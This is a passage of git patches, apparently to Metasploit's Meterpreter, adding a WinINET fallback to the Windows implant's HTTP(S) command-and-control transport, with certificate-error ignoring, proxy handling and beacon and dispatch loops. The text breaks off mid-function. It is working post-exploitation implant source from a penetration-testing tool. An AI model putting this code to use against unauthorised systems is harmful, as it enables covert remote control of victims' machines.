From 09c4d8b137642c89523374787f9fd24beab45d56 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 3 Jul 2015 18:49:41 +1000 Subject: [PATCH 1/3] Initial WinINET fallback implementation --- c/meterpreter/source/common/remote.h | 2 + .../server/win/server_transport_winhttp.c | 67 +- .../server/win/server_transport_wininet.c | 662 ++++++++++++++++++ .../server/win/server_transport_wininet.h | 6 + c/meterpreter/workspace/metsrv/metsrv.vcxproj | 2 + .../workspace/metsrv/metsrv.vcxproj.filters | 74 +- 6 files changed, 769 insertions(+), 44 deletions(-) mode change 100644 => 100755 c/meterpreter/source/common/remote.h mode change 100644 => 100755 c/meterpreter/source/server/win/server_transport_winhttp.c create mode 100755 c/meterpreter/source/server/win/server_transport_wininet.c create mode 100755 c/meterpreter/source/server/win/server_transport_wininet.h diff --git a/c/meterpreter/source/common/remote.h b/c/meterpreter/source/common/remote.h old mode 100644 new mode 100755 index 7c957e4a..7ca79c5a --- a/c/meterpreter/source/common/remote.h +++ b/c/meterpreter/source/common/remote.h @@ -75,6 +75,8 @@ typedef struct _HttpTransportContext BOOL proxy_configured; ///! Indication of whether the proxy has been configured. LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required). + + BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet. } HttpTransportContext; typedef struct _Transport diff --git a/c/meterpreter/source/server/win/server_transport_winhttp.c b/c/meterpreter/source/server/win/server_transport_winhttp.c old mode 100644 new mode 100755 index f04d4a95..7c239117 --- a/c/meterpreter/source/server/win/server_transport_winhttp.c +++ b/c/meterpreter/source/server/win/server_transport_winhttp.c @@ -1,10 +1,11 @@ /*! - * @file server_transport_tcp.c + * @file server_transport_http.c * @remark This file doesn't use precompiled headers because metsrv.h includes a bunch of * of definitions that clash with those found in winhttp.h. Hooray Win32 API. I hate you. */ #include "../../common/common.h" #include "../../common/config.h" +#include "server_transport_wininet.h" #include /*! @@ -340,6 +341,26 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet) break; } + DWORD statusCode; + DWORD statusCodeSize = sizeof(statusCode); + vdprintf("[PACKET RECEIVE WINHTTP] Getting the result code..."); + if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX)) + { + vdprintf("[PACKET RECEIVE WINHTTP] Returned status code is %d", statusCode); + + // did the request succeed? + if (statusCode != 200) + { + // There are a few reasons why this could fail, including proxy related stuff. + // If we fail, we're going to fallback to WinINET and see if that works instead. + // there could be a number of reasons for failure, but we're only going to try + // to handle the case where proxy authentication fails. We'll indicate failure and + // let the switchover happen for us. + SetLastError(ERROR_WINHTTP_CANNOT_CONNECT); + break; + } + } + if (ctx->cert_hash != NULL) { vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash"); @@ -623,8 +644,25 @@ static DWORD server_deinit_http(Transport* transport) dprintf("[WINHTTP] Deinitialising ..."); - WinHttpCloseHandle(ctx->connection); - WinHttpCloseHandle(ctx->internet); + if (ctx->connection) + { + WinHttpCloseHandle(ctx->connection); + ctx->connection = NULL; + } + + if (ctx->internet) + { + WinHttpCloseHandle(ctx->internet); + ctx->internet = NULL; + } + + // have we had issues that require us to move? + if (ctx->move_to_wininet) + { + // yes, so switch on over. + transport_move_to_wininet(transport); + ctx->move_to_wininet = FALSE; + } return TRUE; } @@ -644,7 +682,7 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) DWORD ecount = 0; DWORD delay = 0; Transport* transport = remote->transport; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; while (running) { @@ -669,6 +707,7 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) dprintf("[DISPATCH] Reading data from the remote side..."); result = packet_receive_http_via_winhttp(remote, &packet); + if (result != ERROR_SUCCESS) { // Update the timestamp for empty replies @@ -676,6 +715,17 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) { transport->comms_last_packet = current_unix_timestamp(); } + else if (result == ERROR_WINHTTP_CANNOT_CONNECT) + { + dprintf("[DISPATCH] Failed to work correctly with WinHTTP, moving over to WinINET"); + // next we need to indicate that we need to do a switch to wininet when we terminate + ctx->move_to_wininet = TRUE; + + // and pretend to do a transport switch, to ourselves! + remote->next_transport = remote->transport; + result = ERROR_SUCCESS; + break; + } else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT) { // This means that the certificate validation failed, and so @@ -685,13 +735,10 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) break; } - if (ecount < 10) + delay = 10 * ecount; + if (ecount >= 10) { - delay = 10 * ecount; - } - else - { - delay = 100 * ecount; + delay *= 10; } ecount++; diff --git a/c/meterpreter/source/server/win/server_transport_wininet.c b/c/meterpreter/source/server/win/server_transport_wininet.c new file mode 100755 index 00000000..1999248f --- /dev/null +++ b/c/meterpreter/source/server/win/server_transport_wininet.c @@ -0,0 +1,662 @@ +/*! + * @file server_transport_wininet.c + */ +//#include "../../common/common.h" +//#include "../../common/config.h" +#include "metsrv.h" +#include + +/*! + * @brief Prepare a wininet request with the given context. + * @param ctx Pointer to the HTTP transport context to prepare the request from. + * @param direction String representing the direction of the communications (for debug). + * @return An Internet request handle. + */ +static HINTERNET get_wininet_req(HttpTransportContext *ctx, const char *direction) +{ + HINTERNET hReq = NULL; + DWORD flags = INTERNET_FLAG_RELOAD + | INTERNET_FLAG_NO_CACHE_WRITE + | INTERNET_FLAG_KEEP_CONNECTION + | INTERNET_FLAG_NO_AUTO_REDIRECT + | INTERNET_FLAG_NO_UI; + + if (ctx->ssl) + { + flags |= INTERNET_FLAG_SECURE + | INTERNET_FLAG_IGNORE_CERT_CN_INVALID + | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID; + dprintf("[%s] Setting secure request flag..", direction); + } + + do + { + vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); + hReq = HttpOpenRequestW(ctx->connection, L"POST", ctx->uri, NULL, NULL, NULL, flags, 0); + + if (hReq == NULL) + { + dprintf("[%s] Failed HttpOpenRequestW: %d", direction, GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + + if (ctx->ssl) + { + DWORD secureFlags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID + | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + | SECURITY_FLAG_IGNORE_WRONG_USAGE + | SECURITY_FLAG_IGNORE_UNKNOWN_CA + | SECURITY_FLAG_IGNORE_REVOCATION; + + dprintf("[%s] Setting secure option flags", direction); + if (!InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &secureFlags, sizeof(secureFlags))) + { + dprintf("[%s] Failed InternetSetOptionW: %d", direction, GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + } + + return hReq; + } while (0); + + if (hReq != NULL) + { + InternetCloseHandle(hReq); + } + + return NULL; +} + +/*! + * @brief Windows-specific function to transmit a packet via HTTP(s) using wininet _and_ destroy it. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the \c Packet that is to be sent. + * @param completion Pointer to the completion routines to process. + * @return An indication of the result of processing the transmission request. + * @remark This function is not available on POSIX. + */ +static DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion) +{ + DWORD res = 0; + HINTERNET hReq; + BOOL hRes; + DWORD retries = 5; + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + unsigned char *buffer; + + buffer = malloc(packet->payloadLength + sizeof(TlvHeader)); + if (!buffer) + { + SetLastError(ERROR_NOT_FOUND); + return 0; + } + + memcpy(buffer, &packet->header, sizeof(TlvHeader)); + memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength); + + do + { + hReq = get_wininet_req(ctx, "PACKET TRANSMIT"); + if (hReq == NULL) + { + break; + } + + hRes = HttpSendRequestW(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader)); + + if (!hRes) + { + dprintf("[PACKET TRANSMIT] Failed HttpSendRequestW: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + + dprintf("[PACKET TRANSMIT] request sent.. apparently"); + } while(0); + + memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader)); + InternetCloseHandle(hReq); + return res; +} + +/*! + * @brief Transmit a packet via HTTP(s) _and_ destroy it. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the \c Packet that is to be sent. + * @param completion Pointer to the completion routines to process. + * @return An indication of the result of processing the transmission request. + */ +static DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion) +{ + CryptoContext *crypto; + Tlv requestId; + DWORD res; + + lock_acquire(remote->lock); + + // If the packet does not already have a request identifier, create one for it + if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) + { + DWORD index; + CHAR rid[32]; + + rid[sizeof(rid)-1] = 0; + + for (index = 0; index < sizeof(rid)-1; index++) + { + rid[index] = (rand() % 0x5e) + 0x21; + } + + packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid); + } + + do + { + // If a completion routine was supplied and the packet has a request + // identifier, insert the completion routine into the list + if ((completion) && + (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, + &requestId) == ERROR_SUCCESS)) + { + packet_add_completion_handler((LPCSTR)requestId.buffer, completion); + } + + // If the endpoint has a cipher established and this is not a plaintext + // packet, we encrypt + if ((crypto = remote_get_cipher(remote)) && + (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) && + (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE)) + { + ULONG origPayloadLength = packet->payloadLength; + PUCHAR origPayload = packet->payload; + + // Encrypt + if ((res = crypto->handlers.encrypt(crypto, packet->payload, + packet->payloadLength, &packet->payload, + &packet->payloadLength)) != + ERROR_SUCCESS) + { + SetLastError(res); + break; + } + + // Destroy the original payload as we no longer need it + free(origPayload); + + // Update the header length + packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader)); + } + + dprintf("[PACKET] Transmitting packet of length %d to remote", packet->payloadLength); + res = packet_transmit_via_http_wininet(remote, packet, completion); + if (res < 0) + { + dprintf("[PACKET] transmit failed with return %d\n", res); + break; + } + + SetLastError(ERROR_SUCCESS); + } while (0); + + res = GetLastError(); + + // Destroy the packet + packet_destroy(packet); + + lock_release(remote->lock); + + return res; +} + +/*! + * @brief Windows-specific function to receive a new packet via WinInet. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to a pointer that will receive the \c Packet data. + * @return An indication of the result of processing the transmission request. + * @remark This function is not available in POSIX. + */ +static DWORD packet_receive_http_via_wininet(Remote *remote, Packet **packet) +{ + DWORD headerBytes = 0, payloadBytesLeft = 0, res; + CryptoContext *crypto = NULL; + Packet *localPacket = NULL; + TlvHeader header; + LONG bytesRead; + BOOL inHeader = TRUE; + PUCHAR payload = NULL; + ULONG payloadLength; + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + + HINTERNET hReq; + BOOL hRes; + DWORD retries = 5; + + lock_acquire(remote->lock); + + do + { + hReq = get_wininet_req(ctx, "PACKET RECEIVE"); + if (hReq == NULL) + { + break; + } + + vdprintf("[PACKET RECEIVE WININET] sending the 'RECV' command..."); + DWORD recv = 'VCER'; + hRes = HttpSendRequestW(hReq, NULL, 0, &recv, sizeof(recv)); + if (!hRes) + { + dprintf("[PACKET RECEIVE WININET] Failed HttpSendRequestW: %d %d", GetLastError(), WSAGetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + + DWORD statusCode; + DWORD statusCodeSize = sizeof(statusCode); + vdprintf("[PACKET RECEIVE WININET] Getting the result code..."); + if (HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0)) + { + vdprintf("[PACKET RECEIVE WININET] Returned status code is %d", statusCode); + + // did the request succeed? + if (statusCode != 200) + { + // bomb out + SetLastError(ERROR_HTTP_INVALID_SERVER_RESPONSE); + break; + } + } + + // Read the packet length + retries = 3; + vdprintf("[PACKET RECEIVE WININET] Start looping through the receive calls"); + while (inHeader && retries > 0) + { + retries--; + if (!InternetReadFile(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead)) + { + dprintf("[PACKET RECEIVE] Failed HEADER InternetReadFile: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + + vdprintf("[PACKET RECEIVE WININET] Data received: %u bytes", bytesRead); + + // If the response contains no data, this is fine, it just means the + // remote side had nothing to tell us. Indicate this through a + // ERROR_EMPTY response code so we can update the timestamp. + if (bytesRead == 0) + { + SetLastError(ERROR_EMPTY); + break; + } + + headerBytes += bytesRead; + + if (headerBytes != sizeof(TlvHeader)) + { + continue; + } + + inHeader = FALSE; + } + + if (GetLastError() == ERROR_EMPTY) + { + break; + } + + if (headerBytes != sizeof(TlvHeader)) + { + dprintf("[PACKET RECEIVE WININET] headerBytes no valid"); + SetLastError(ERROR_NOT_FOUND); + break; + } + + // Initialize the header + vdprintf("[PACKET RECEIVE WININET] initialising header"); + header.length = header.length; + header.type = header.type; + payloadLength = ntohl(header.length) - sizeof(TlvHeader); + payloadBytesLeft = payloadLength; + + // Allocate the payload + if (!(payload = (PUCHAR)malloc(payloadLength))) + { + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + break; + } + + // Read the payload + retries = payloadBytesLeft; + while (payloadBytesLeft > 0 && retries > 0) + { + vdprintf("[PACKET RECEIVE WININET] reading more data from the body..."); + retries--; + if (!InternetReadFile(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) + { + dprintf("[PACKET RECEIVE] Failed BODY InternetReadFile: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + + if (!bytesRead) + { + vdprintf("[PACKET RECEIVE WININET] no bytes read, bailing out"); + SetLastError(ERROR_NOT_FOUND); + break; + } + + vdprintf("[PACKET RECEIVE WININET] bytes read: %u", bytesRead); + payloadBytesLeft -= bytesRead; + } + + // Didn't finish? + if (payloadBytesLeft) + { + break; + } + + // Allocate a packet structure + if (!(localPacket = (Packet *)malloc(sizeof(Packet)))) + { + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + break; + } + + memset(localPacket, 0, sizeof(Packet)); + + // If the connection has an established cipher and this packet is not + // plaintext, decrypt + if ((crypto = remote_get_cipher(remote)) && + (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) && + (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE)) + { + ULONG origPayloadLength = payloadLength; + PUCHAR origPayload = payload; + + // Decrypt + if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength, &payload, &payloadLength)) != ERROR_SUCCESS) + { + SetLastError(res); + break; + } + + // We no longer need the encrypted payload + free(origPayload); + } + + localPacket->header.length = header.length; + localPacket->header.type = header.type; + localPacket->payload = payload; + localPacket->payloadLength = payloadLength; + + *packet = localPacket; + + SetLastError(ERROR_SUCCESS); + + } while (0); + + res = GetLastError(); + + // Cleanup on failure + if (res != ERROR_SUCCESS) + { + if (payload) + { + free(payload); + } + if (localPacket) + { + free(localPacket); + } + } + + if (hReq) + { + InternetCloseHandle(hReq); + } + + lock_release(remote->lock); + + return res; +} + + +/*! + * @brief Initialise the HTTP(S) connection. + * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. + * @param sock Reference to the original socket FD passed to metsrv (ignored); + * @return Indication of success or failure. + */ +static BOOL server_init_http(Transport* transport) +{ + URL_COMPONENTS bits; + wchar_t tmpHostName[URL_SIZE]; + wchar_t tmpUrlPath[URL_SIZE]; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[WININET] Initialising ..."); + + // configure proxy + if (ctx->proxy) + { + dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); + ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); + } + else + { + ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + } + + if (!ctx->internet) + { + dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError()); + return FALSE; + } + + dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); + + // The InternetCrackUrl method was poorly designed... + ZeroMemory(tmpHostName, sizeof(tmpHostName)); + ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); + + ZeroMemory(&bits, sizeof(bits)); + bits.dwStructSize = sizeof(bits); + + bits.dwHostNameLength = URL_SIZE - 1; + bits.lpszHostName = tmpHostName; + + bits.dwUrlPathLength = URL_SIZE - 1; + bits.lpszUrlPath = tmpUrlPath; + + dprintf("[DISPATCH] About to crack URL: %S", transport->url); + InternetCrackUrlW(transport->url, 0, 0, &bits); + + SAFE_FREE(ctx->uri); + ctx->uri = _wcsdup(tmpUrlPath); + transport->comms_last_packet = current_unix_timestamp(); + + dprintf("[DISPATCH] Configured URI: %S", ctx->uri); + dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); + + // Allocate the connection handle + ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); + if (!ctx->connection) + { + dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); + return FALSE; + } + + if (ctx->proxy) + { + if (ctx->proxy_user) + { + InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, wcslen(ctx->proxy_user)); + } + if (ctx->proxy_pass) + { + InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, wcslen(ctx->proxy_pass)); + } + } + + dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); + + return TRUE; +} + +/*! + * @brief Deinitialise the HTTP(S) connection. + * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. + * @return Indication of success or failure. + */ +static DWORD server_deinit_http(Transport* transport) +{ + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[WININET] Deinitialising ..."); + + if (ctx->connection) + { + InternetCloseHandle(ctx->connection); + ctx->connection = NULL; + } + + if (ctx->internet) + { + InternetCloseHandle(ctx->internet); + ctx->internet = NULL; + } + + return TRUE; +} + +/*! + * @brief The servers main dispatch loop for incoming requests using HTTP(S). + * @param remote Pointer to the remote endpoint for this server connection. + * @param dispatchThread Pointer to the main dispatch thread. + * @returns Indication of success or failure. + */ +static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) +{ + BOOL running = TRUE; + LONG result = ERROR_SUCCESS; + Packet* packet = NULL; + THREAD* cpt = NULL; + DWORD ecount = 0; + DWORD delay = 0; + Transport* transport = remote->transport; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + while (running) + { + if (transport->timeouts.comms != 0 && transport->comms_last_packet + transport->timeouts.comms < current_unix_timestamp()) + { + dprintf("[DISPATCH] Shutting down server due to communication timeout"); + break; + } + + if (remote->sess_expiry_end != 0 && remote->sess_expiry_end < current_unix_timestamp()) + { + dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); + dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->sess_expiry_end); + break; + } + + if (event_poll(dispatchThread->sigterm, 0)) + { + dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); + break; + } + + dprintf("[DISPATCH] Reading data from the remote side..."); + result = packet_receive_http_via_wininet(remote, &packet); + + if (result != ERROR_SUCCESS) + { + // Update the timestamp for empty replies + if (result == ERROR_EMPTY) + { + transport->comms_last_packet = current_unix_timestamp(); + } + else if (result == ERROR_HTTP_INVALID_SERVER_RESPONSE) + { + // if we have WinInet problems, it's game over + break; + } + + delay = 10 * ecount; + if (ecount >= 10) + { + delay *= 10; + } + + ecount++; + + dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); + Sleep(min(10000, delay)); + } + else + { + transport->comms_last_packet = current_unix_timestamp(); + + // Reset the empty count when we receive a packet + ecount = 0; + + dprintf("[DISPATCH] Returned result: %d", result); + + running = command_handle(remote, packet); + dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); + + if (ctx->new_uri != NULL) + { + dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); + dprintf("[DISPATCH] Old URI is: %S", ctx->uri); + dprintf("[DISPATCH] Old URL is: %S", transport->url); + + // if the new URI needs more space, let's realloc space for the new URL now + int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri); + if (diff > 0) + { + dprintf("[DISPATCH] New URI is bigger by %d", diff); + transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); + } + + // we also need to patch the new URI into the original transport URL, not just the currently + // active URI for comms. If we don't, then migration behaves badly. + // Start by locating the start of the URI in the current URL, by finding the third slash + wchar_t* csr = transport->url + wcslen(transport->url) - 2; + while (*csr != L'/') + { + --csr; + } + dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); + + // patch in the new URI + wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); + dprintf("[DISPATCH] New URL is: %S", transport->url); + + // clean up + SAFE_FREE(ctx->uri); + ctx->uri = ctx->new_uri; + ctx->new_uri = NULL; + } + } + } + + return result; +} + +/*! + * @brief Take over control from the WinINET transport. + * @param transport Pointer to the transport to hijack. + */ +void transport_move_to_wininet(Transport* transport) +{ + transport->packet_transmit = packet_transmit_via_http; + transport->server_dispatch = server_dispatch_http; + transport->transport_init = server_init_http; + transport->transport_deinit = server_deinit_http; +} diff --git a/c/meterpreter/source/server/win/server_transport_wininet.h b/c/meterpreter/source/server/win/server_transport_wininet.h new file mode 100755 index 00000000..c3a9b25e --- /dev/null +++ b/c/meterpreter/source/server/win/server_transport_wininet.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_SERVER_SETUP_WININET +#define _METERPRETER_SERVER_SETUP_WININET + +void transport_move_to_wininet(Transport* transport); + +#endif \ No newline at end of file diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 78917397..6d2471a3 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -699,6 +699,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho + @@ -709,6 +710,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho + diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index b8174a20..0ee48bfe 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -1,35 +1,41 @@ - - - - - - - - - - transports - - - transports - - - - - - - - transports - - - transports - - - - - - - - {302976b1-9752-4587-ac91-61595d625665} - - + + + + + + + + + + transports + + + transports + + + transports + + + + + + + + transports + + + transports + + + transports + + + + + + + + {302976b1-9752-4587-ac91-61595d625665} + + \ No newline at end of file From 18a814d3a0051677d1347bc5ca92f6334f53adc8 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 3 Jul 2015 20:46:18 +1000 Subject: [PATCH 2/3] Refactor wininet/winhttp code to reduce code duplication --- c/meterpreter/source/common/common.h | 0 c/meterpreter/source/common/remote.h | 15 + .../server/win/server_transport_winhttp.c | 268 +++++---- .../server/win/server_transport_wininet.c | 551 ++---------------- 4 files changed, 240 insertions(+), 594 deletions(-) mode change 100644 => 100755 c/meterpreter/source/common/common.h diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h old mode 100644 new mode 100755 diff --git a/c/meterpreter/source/common/remote.h b/c/meterpreter/source/common/remote.h index 7ca79c5a..a2d1e325 100755 --- a/c/meterpreter/source/common/remote.h +++ b/c/meterpreter/source/common/remote.h @@ -26,6 +26,7 @@ typedef struct _PacketRequestCompletion PacketRequestCompletion; typedef struct _Transport Transport; typedef struct _Remote Remote; typedef struct _TimeoutSettings TimeoutSettings; +typedef struct _HttpTransportContext HttpTransportContext; typedef SOCKET(*PTransportGetSocket)(Transport* transport); typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown); @@ -39,6 +40,13 @@ typedef void(*PConfigCreate)(Remote* remote, MetsrvConfig** config, LPDWORD size typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread); typedef DWORD(*PPacketTransmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion); +typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, const char* direction); +typedef BOOL(*PSendHttpRequest)(HANDLE hReq, LPVOID buffer, DWORD size); +typedef BOOL(*PCloseRequest)(HANDLE hReq); +typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx); +typedef BOOL(*PReceiveResponse)(HANDLE hReq); +typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead); + typedef struct _TimeoutSettings { /*! @ brief The total number of seconds to wait for a new packet before killing off the session. */ @@ -77,6 +85,13 @@ typedef struct _HttpTransportContext LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required). BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet. + + PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation. + PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending. + PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing. + PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation. + PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception. + PReadResponse read_response; ///! WinHttp/WinINET specific response data reading. } HttpTransportContext; typedef struct _Transport diff --git a/c/meterpreter/source/server/win/server_transport_winhttp.c b/c/meterpreter/source/server/win/server_transport_winhttp.c index 7c239117..70fd2419 100755 --- a/c/meterpreter/source/server/win/server_transport_winhttp.c +++ b/c/meterpreter/source/server/win/server_transport_winhttp.c @@ -1,4 +1,4 @@ -/*! +/*! * @file server_transport_http.c * @remark This file doesn't use precompiled headers because metsrv.h includes a bunch of * of definitions that clash with those found in winhttp.h. Hooray Win32 API. I hate you. @@ -14,7 +14,7 @@ * @param direction String representing the direction of the communications (for debug). * @return An Internet request handle. */ -static HINTERNET get_winhttp_req(HttpTransportContext *ctx, const char *direction) +static HINTERNET get_request_winhttp(HttpTransportContext *ctx, const char *direction) { HINTERNET hReq = NULL; DWORD flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; @@ -142,6 +142,119 @@ static HINTERNET get_winhttp_req(HttpTransportContext *ctx, const char *directio } return hReq; +} + +/* + * @brief Wrapper around WinHTTP-specific request handle closing functionality. + * @param hReq HTTP request handle. + * @return An indication of the result of sending the request. + */ +static BOOL close_request_winhttp(HANDLE hReq) +{ + return WinHttpCloseHandle(hReq); +} + +/*! + * @brief Wrapper around WinHTTP-specific response data reading functionality. + * @param hReq HTTP request handle. + * @param buffer Pointer to the data buffer. + * @param bytesToRead The number of bytes to read. + * @param bytesRead The number of bytes actually read. + * @return An indication of the result of sending the request. + */ +static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) +{ + return WinHttpReadData(hReq, buffer, bytesToRead, bytesRead); +} + + +/*! + * @brief Wrapper around WinHTTP-specific sending functionality. + * @param hReq HTTP request handle. + * @param buffer Pointer to the buffer to receive the data. + * @param size Buffer size. + * @return An indication of the result of sending the request. + */ +static BOOL send_request_winhttp(HANDLE hReq, LPVOID buffer, DWORD size) +{ + return WinHttpSendRequest(hReq, NULL, 0, buffer, size, size, 0); +} + +/*! + * @brief Wrapper around WinHTTP-specific receiving functionality. + * @param hReq HTTP request handle. + * @return An indication of the result of receiving the request. + */ +static BOOL receive_response_winhttp(HANDLE hReq) +{ + return WinHttpReceiveResponse(hReq, NULL); +} + +/*! + * @brief Wrapper around WinHTTP-specific request response validation. + * @param hReq HTTP request handle. + * @param ctx The HTTP transport context. + * @return An indication of the result of getting a response. + */ +static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) +{ + DWORD statusCode; + DWORD statusCodeSize = sizeof(statusCode); + vdprintf("[PACKET RECEIVE WINHTTP] Getting the result code..."); + if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX)) + { + vdprintf("[PACKET RECEIVE WINHTTP] Returned status code is %d", statusCode); + + // did the request succeed? + if (statusCode != 200) + { + // There are a few reasons why this could fail, including proxy related stuff. + // If we fail, we're going to fallback to WinINET and see if that works instead. + // there could be a number of reasons for failure, but we're only going to try + // to handle the case where proxy authentication fails. We'll indicate failure and + // let the switchover happen for us. + if (statusCode == 407) + { + return ERROR_WINHTTP_CANNOT_CONNECT; + } + + // indicate something is up. + return ERROR_BAD_CONFIGURATION; + } + } + + if (ctx->cert_hash != NULL) + { + vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash"); + PCERT_CONTEXT pCertContext = NULL; + DWORD dwCertContextSize = sizeof(pCertContext); + + if 